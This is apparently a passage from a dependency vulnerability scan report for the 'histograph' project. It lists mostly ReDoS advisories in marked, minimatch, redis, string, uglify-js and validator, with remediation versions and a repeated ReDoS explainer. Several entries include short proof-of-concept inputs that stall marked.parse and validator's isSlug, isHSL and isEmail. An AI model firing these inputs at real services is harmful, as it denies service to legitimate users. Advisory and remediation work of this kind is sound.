Upgrade marked to version 4.0.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph marked@0.3.19
    Remediation: Upgrade to marked@4.0.10.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when unsanitized user input is passed to block.def.

PoC

import * as marked from "marked";
marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 4.0.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph marked@0.3.19
    Remediation: Upgrade to marked@0.4.0.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A Denial of Service condition could be triggered through exploitation of the heading regex.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 0.4.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 cli@0.6.6 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 glob@3.1.21 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 minimatch@2.0.10
    Remediation: Upgrade to exectimer@2.0.0.

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand function in minimatch.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: redis
  • Introduced through: connect-redis@3.4.2 and express-redis-cache@0.2.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph connect-redis@3.4.2 redis@2.8.0
    Remediation: Upgrade to connect-redis@4.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph express-redis-cache@0.2.0 redis@2.8.0

Overview

redis is an A high performance Redis client.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When a client is in monitoring mode, monitor_regex, which is used to detected monitor messages` could cause exponential backtracking on some strings, leading to denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade redis to version 3.1.1 or higher.

References

medium severity

Insecure Defaults

  • Vulnerable module: socket.io
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4
    Remediation: Upgrade to socket.io@2.4.0.

Overview

socket.io is a node.js realtime framework server.

Affected versions of this package are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.

Remediation

Upgrade socket.io to version 2.4.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: string
  • Introduced through: string@3.3.3

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph string@3.3.3

Overview

string is a JavaScript library for extra String methods.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS). It uses regex in the underscore and unescapeHTML methods, which can cause a slowdown of 2 seconds 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fix version for string.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uglify-js
  • Introduced through: pug@2.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph pug@2.0.4 pug-filters@3.1.1 uglify-js@2.8.29
    Remediation: Upgrade to pug@3.0.0.

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: validator
  • Introduced through: validator@4.9.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph validator@4.9.0
    Remediation: Upgrade to validator@5.0.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Buffer Overflow. It used a regular expression (/^(?:[A-Z0-9+\/]{4})*(?:[A-Z0-9+\/]{2}==|[A-Z0-9+\/]{3}=|[A-Z0-9+\/]{4})$/i) in order to validate Base64 strings.

Remediation

Upgrade validator to version 5.0.0 or higher.

References

medium severity

Improper Validation of Specified Type of Input

  • Vulnerable module: validator
  • Introduced through: validator@4.9.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph validator@4.9.0
    Remediation: Upgrade to validator@13.15.20.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.

Remediation

Upgrade validator to version 13.15.20 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: validator@4.9.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph validator@4.9.0
    Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug() function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: validator@4.9.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph validator@4.9.0
    Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: validator@4.9.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph validator@4.9.0
    Remediation: Upgrade to validator@13.6.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
